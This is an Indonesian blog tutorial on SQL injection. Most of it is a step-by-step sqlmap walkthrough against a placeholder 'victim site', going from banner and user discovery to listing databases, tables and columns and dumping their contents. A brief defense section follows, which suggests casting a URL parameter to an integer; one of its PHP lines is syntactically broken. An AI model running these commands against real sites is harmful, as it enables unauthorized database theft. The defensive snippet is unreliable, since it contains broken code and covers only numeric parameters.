- Back to Home »
- Pentesting Database Dengan SQL Injection & Cara Menanganinya
Pertama - tama, apa itu SQL injection? Kalau menurut gue, SQL injection
adalah salah satu teknik hacking pada sebuah website dinamis
menggunakan metode GET atau POST dengan memanfaatkan kelemahan yang
disebabkan karena kelalaian sang programmer atau dari server itu
sendiri.
1. How to Attack a DynamicWeb with sqlmap.
Oke langsung ke step pertama. Untuk melakukan serangan ini, dibutuhkan
alat bernama sqlmap. Kalau anda pengguna OS BackTrack, tool ini sudah
ada alias siap pakai. Sedangkan untuk anda pengguna Ubuntu biasa, untuk
mendapatkan alat ini cukup menambahkan repository backtrack dan install
melalui metode apt-get install. Cara menginstall sqlmap pada ubuntu
gaakan gue bahas, jadi monggo googling. Soalnya kalo dibahas disini
topik bisa melenceng. Selain sqlmap, yang kita butuhkan adalah target
dari rencana penyerangan ini. Sudah ada kan targetnya? Oke kita lanjut
ke step berikutnya.
Catatan: Sangat disarankan kalau target dari serangan ini adalah web
anda sendiri, anda akan tahu alasannya setelah anda mencoba sendiri
metode serangan ini pada web anda.
Step kedua. Run sqlmap, lalu yang pertama kali dilakukan adalah fetch banner (mysql) dengan menggunakan perintah berikut:
python sqlmap.py -u http://situskorban/displaydata.php?id=1 --banner --random-agent --threads 10melakukan fetch banner dari suatu DBMS itu sangat penting, karena dengan melakukan injeksi pancingan ke web, sqlmap akan mendapatkan route map dari injeksi website tersebut, sehingga serangan injeksi selanjutnya akan lebih mudah bagi sqlmap. Dan jika terdapat pesan yang menyatakan bahwa parameter 'id' tidak injectable & tidak vulnerable, maka yang harus anda pikirkan adalah cara lain untuk menghajar web target. Dan jika parameter 'id' injectable & vulnerable, maka langkah selanjutnya adalah melihat user dan database yang sedang digunakan dengan flag --current-user dan --current-db
python sqlmap.py -u http://situskorban/displaydata.php?id=1 --random-agent --threads 10 --current-user --current-dbSelanjutnya, kita akan melihat daftar database yang dapat dihandle oleh user tadi dengan flag --dbs. Kita dapat melihat database apa saja yang dapat kita serang.
python sqlmap.py -u http://situskorban/displaydata.php?id=1 --random-agent --threads 10 --dbsNah udah dapet kan nama database nya? Nah langkah selanjutnya adalah melihat tabel dari database tersebut dengan flag --tables. Kita akan mengetahui tabel mana yang akan kita intip isinya.
python sqlmap.py -u http://situskorban/displaydata.php?id=1 --random-agent --threads 10 -D nama_database --tablesSetelah kita dapatkan tabel yang akan kita intip, langkah selanjutnya adalah melihat kolom apa saja yang terdapat pada tabel tersebut dengan flag --columns. Kita akan menentukan kolom mana yang akan kita lihat isinya.
python sqlmap.py -u http://situskorban/displaydata.php?id=1 --random-agent --threads 10 -D nama_database -T nama_tabel --columnsUdah tau kolom mana yang akan dilihat isinya? Ayo kita dump dengan flag --dump.
python sqlmap.py -u http://situskorban/displaydata.php?id=1 --random-agent --threads 10 -D nama_database -T nama_tabel -C nama_kolom1, nama_kolom2 --dumpDan voila, lihat apa yang terjadi. Hasil dump dari database bisa anda lihat juga di file berekstensi .csv di folder log web tersebut.
2. How to Avoid SQL Injection Attack.
Sekarang, gue mau menjelaskan salah satu cara untuk menghindari serangan SQL injection ini.
Kita tahu kan kalau website yang dijadikan target dari serangan ini adalah website yang memiliki url berparameter, contohnya: http://situskorban/displaydata.php?id=1. disini yang dimaksud sebagai parameter adalah 'id' dan '1' itu adalah angka yang menunjuk pada sebuah data yang sedang ditampilkan.
Seorang hacker akan menyerang dengan cara menyisipkan query pada url website target.
Bagaimana cara menghilangkan query yang disisipkan pada parameter url?
Pada url http://situskorban/displaydata.php?id=1 dan pada script displaydata.php ini biasanya terdapat syntax seperti ini:
1
| $id = $_GET [ 'id' ]; |
Caranya dengan merubah syntax tadi menjadi:
1
| $id = (int) $_GET ['id]; |
1
| $id = abs ((int) $_GET [ 'id' ]); |
Teknik diatas juga dapat diterapkan pada metode $_POST pada form.
Oh iya, teknik ini juga udah gue coba, dan hasilnya memuaskan. Awalnya, web gue dapat dengan mudahnya diserang, tapi setelah menerapkan teknik ini, web gue ga bisa ditembus dengan cara - cara yang tadi gue jelasin. Ini buktinya:
Etiam placerat
Total Pageviews
Recent Post
Pages - Menu
Blog Archive
-
▼
2013
(55)
-
▼
November
(9)
- Cara Remote Linux dengan Teamviewer
- Caara Install Dropbox via command line (Terminal) ...
- Cara Serang Server untuk pemula di OS Windows 7
- Memahami Eksploitasi dan Kebutuhan Metasploit (1)
- Menyerang Server dengan Apache Killer
- Cara Hack WIFI dengan Backtrack
- Hacking Windows Dengan BackTrack SET & USB
- Pentesting Database Dengan SQL Injection & Cara Me...
- Cara Install Mail Server Zimbra Collaboration Suit...
-
▼
November
(9)
Datos personales
- Hacker Hunters
- Ridwan: Anak Keluarga Besar Badan Intelijen Negara (BIN) dan Korwil Jak- Sel FKPPI. Putra Purn TNI-AD Intelijen Kostard. Dan Sering ikut lomba " id sirtii kominfo".